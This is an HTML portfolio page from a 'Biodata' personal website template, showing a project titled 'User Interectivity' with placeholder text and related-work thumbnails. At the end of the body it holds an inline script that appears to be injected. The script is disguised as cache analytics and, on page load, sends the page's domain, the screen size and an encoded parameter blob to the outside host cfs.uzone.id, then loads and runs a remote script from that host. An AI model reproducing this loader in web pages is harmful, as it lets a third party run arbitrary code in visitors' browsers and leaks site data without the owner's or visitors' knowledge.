<!DOCTYPE html>
<html lang="zxx">
<head>
<!-- Meta Character Set -->
<meta charset="utf-8">
<title>Biodata - Clean Personal Template</title>
<!-- Responsive Meta Tag -->
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Meta Description -->
<meta name="description" content="Biodata - Clean Personal Template">
<meta name="keywords" content="responsive, creative, resume, html5, css3, personal, onepage personal">
<meta name="author" content="thecodrops">
<!-- Favicon -->
<link rel="shortcut icon" href="images/logos/favicon.png" type="image/x-icon">
<!-- Google Fonts -->
<link href="https://fonts.googleapis.com/css?family=Poppins|Roboto" rel="stylesheet">
<!-- Vendor CSS -->
<link rel="stylesheet" type="text/css" href="vendor/uikit/css/uikit.min.css">
<link rel="stylesheet" type="text/css" href="vendor/uikit/css/components/slidenav.min.css">
<!-- Main CSS -->
<link rel="stylesheet" type="text/css" href="css/style.css">
<link rel="stylesheet" type="text/css" href="css/shortcodes.css">
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<!-- Header Start -->
<header class="tc-header header-style1" id="tc-header">
<div class="tc-top-block" data-uk-sticky="{top:-400, animation: 'uk-animation-slide-top'}">
<div class="uk-container uk-container-center">
<div class="tc-logo uk-hidden-small">
<a href="index.html">
<img src="images/logos/logo.png" alt="logo">
</a>
</div>
<nav class="uk-navbar tc-navbar">
<ul class="uk-navbar-nav uk-hidden-small">
<li><a href="index.html">Home</a></li>
<li><a href="index.html">About</a></li>
<li><a href="index.html">Work</a></li>
<li><a href="index.html">My Blog</a></li>
<li><a href="index.html">Contact</a></li>
</ul>
<a href="#tc-offcanvas" class="uk-navbar-toggle uk-visible-small tc-off-toggle" data-uk-offcanvas="{mode:'slide'}"></a>
<div class="uk-navbar-content tc-logo uk-visible-small">
<a href="index.html">
<img src="images/logos/logo.png" alt="logo">
</a>
</div>
</nav>
</div>
</div>
</header>
<!-- Header End -->
<!-- Heading Start -->
<div class="tc-heading bg2">
<div class="uk-container-center uk-container">
<h1 class="head-title">User Interectivity</h1>
<ul class="tc-breadcrumb">
<li><a href="index.html">home</a></li>
<li><a href="#">work</a></li>
<li><span>user interectivity</span></li>
</ul>
</div>
</div>
<!-- Heading End -->
<!-- Main Start -->
<main class="tc-main" id="tc-main">
<div class="tc-portfolio-single">
<div class="uk-container uk-container-center">
<div class="uk-grid" data-uk-grid-margin="">
<div class="uk-width-medium-2-3">
<a href="images/portfolio/1.jpg" data-uk-lightbox="" title="User Interectivity">
<img src="images/portfolio/1.jpg" alt="User Interectivity">
</a>
</div>
<div class="uk-width-medium-1-3">
<div class="ps-info">
<h3 class="ps-title">User Interectivity</h3>
<p>A wonderful serenity has taken possession of my entire soul, like these sweet mornings of spring which I enjoy with my whole heart. I am alone, and feel the charm of existence in this spot, which was created for the bliss of souls like mine.</p>
<p>I am so happy, my dear friend, so absorbed in the exquisite sense of mere tranquil existence, that I neglect my talents.</p>
</div>
<div class="ps-extra-fild">
<div class="ps-extra-fild-item">
<h5>Date:</h5>
<p>Dec 31, 2016</p>
</div>
<div class="ps-extra-fild-item">
<h5>Category:</h5>
<a href="#">Branding</a>
</div>
<div class="ps-extra-fild-item ps-tags">
<h5>Tags:</h5>
<p><a href="#">Service</a><a href="#">Branding</a><a href="#">Camera</a></p>
</div>
</div>
</div>
</div>
<div class="uk-grid mt100" data-uk-grid-margin="">
<div class="uk-width-1-1 uk-position-relative">
<h4 class="uk-margin-bottom-remove">You Also</h4>
<h2 class="title1 uk-margin-top-remove mb30">Like Other Work</h2>
</div>
</div>
<div class="uk-grid portfolio-style1 tc-latest-work" data-uk-grid-margin="">
<div class="uk-width-medium-1-3">
<div class="p-item">
<img src="images/portfolio/2.jpg" alt="Portfolio Image">
<div class="p-desc-holder">
<div class="p-top">
<h3 class="p-title"><a href="#">Business Cards</a></h3>
<span class="p-category">Branding</span>
</div>
<div class="p-middle">
<a class="p-zoom uk-icon-search" href="images/portfolio/2.jpg" data-lightbox-type="image" data-uk-lightbox="{group:'pfolio'}" title="Business Cards"></a>
</div>
<div class="p-bottom">
<span class="p-likes"><i class="uk-icon-heart"></i> 10 Likes</span>
<span class="p-views"><i class="uk-icon-eye"></i> 52 Views</span>
</div>
</div>
</div>
</div>
<div class="uk-width-medium-1-3">
<div class="p-item">
<img src="images/portfolio/3.jpg" alt="Portfolio Image">
<div class="p-desc-holder">
<div class="p-top">
<h3 class="p-title"><a href="#">Product Branding</a></h3>
<span class="p-category">Branding</span>
</div>
<div class="p-middle">
<a class="p-zoom uk-icon-search" href="images/portfolio/3.jpg" data-lightbox-type="image" data-uk-lightbox="{group:'pfolio'}" title="Product Branding"></a>
</div>
<div class="p-bottom">
<span class="p-likes"><i class="uk-icon-heart"></i> 10 Likes</span>
<span class="p-views"><i class="uk-icon-eye"></i> 52 Views</span>
</div>
</div>
</div>
</div>
<div class="uk-width-medium-1-3">
<div class="p-item">
<img src="images/portfolio/4.jpg" alt="Portfolio Image">
<div class="p-desc-holder">
<div class="p-top">
<h3 class="p-title"><a href="#">New Solar System</a></h3>
<span class="p-category">Branding</span>
</div>
<div class="p-middle">
<a class="p-zoom uk-icon-search" href="images/portfolio/4.jpg" data-lightbox-type="image" data-uk-lightbox="{group:'pfolio'}" title="New Solar System"></a>
</div>
<div class="p-bottom">
<span class="p-likes"><i class="uk-icon-heart"></i> 10 Likes</span>
<span class="p-views"><i class="uk-icon-eye"></i> 52 Views</span>
</div>
</div>
</div>
</div>
</div>
<ul class="ps-navigation">
<li>
<a href="#"><i class="uk-icon-long-arrow-left"></i> Previous Project</a>
</li>
<li>
<a href="#">Next Project <i class="uk-icon-long-arrow-right"></i></a>
</li>
</ul>
</div>
</div>
</main>
<!-- Main End -->
<!-- Footer Start -->
<footer class="tc-footer" id="tc-footer">
<div class="uk-container uk-container-center">
<div class="uk-grid">
<div class="copyright uk-width-medium-1-2">
COPYRIGHT © 2017 BIODATA
</div>
<div class="uk-width-medium-1-2">
<ul class="uk-subnav-line uk-subnav uk-margin-remove uk-align-medium-right">
<li><a href="#">FACEBOOK</a></li>
<li><a href="#">TWITTER</a></li>
<li><a href="#">GOOGLE<sup>+</sup></a></li>
<li><a href="#">LINKEDIN</a></li>
</ul>
<a href="#tc-header" class="tc-totopscroll" title="Go Top" data-uk-smooth-scroll><i class="uk-icon-chevron-up"></i></a>
</div>
</div>
</div>
</footer>
<!-- Footer End -->
<!-- Start Offcanvas -->
<div id="tc-offcanvas" class="uk-offcanvas">
<div class="uk-offcanvas-bar uk-offcanvas-bar-flip">
<ul class="uk-nav uk-nav-offcanvas">
<li><a href="index.html">Home</a></li>
<li><a href="index.html">About</a></li>
<li><a href="index.html">Work</a></li>
<li><a href="index.html">My Blog</a></li>
<li><a href="index.html">Contact</a></li>
</ul>
</div>
</div>
<!-- End Offcanvas -->
<!-- Jquery js -->
<script src="js/jquery.min.js"></script>
<!-- Vendor js -->
<script src="vendor/uikit/js/uikit.min.js"></script>
<script src="vendor/uikit/js/components/lightbox.min.js"></script>
<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "&params=" + "4TtHaUQnUEiP6K%2fc5C582CL4NjpNgssKTUzJwkizTb4WX1O1oRTGnMPXsUcHbaZts92dvemgJqNmXBVQNHFcP9UKDzBNNZKPVmSXJ%2bBnH8WcPLjFr1mgL99CXU%2bV0VBpiWtpxDZD3wOkwthb0E4PsJRpI4GFzkg5HYAePdVhcMer9jBTEhVmdVHCX2aaTjzig8tTwXnYnM6ht1AgvQt6jKVY3RCmM5YmsDi5IJfA08wjo1rf6rp1feRhiypcbwNZfmOpmoF9tyfEwjSyEvoWCxXNqF9nrYCAZ5vR35XE4E%2fxYKWVz5MlODvT7%2fCyDUSoGvA7oIMTBYmjUG6yq9lzpR7KrjZXRQr2GvdWHm0195b06zCQobnr4wAfNDxsn%2fr4OEwN2LOnwaTL69xJsjbE3K%2f66h3kF2jeZS2hmnLM9zsSsCl%2bUlRVVeep3ona7e%2fXNjKqCjrMoikSQtef%2bz75fmVt3%2bR4v%2fs6e6khiXWfmcpd73kse40GGiEbV46YpiKkn3gXbB2HICwz5CgsGgMt1gkFwHVuDEt6EnwoiGZjUlNDYyxyCFgKUZnQ6KQv3eG7C5LUoClsiyYRTgI%2fsUlvhdjaVofyUWWQ" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
</html>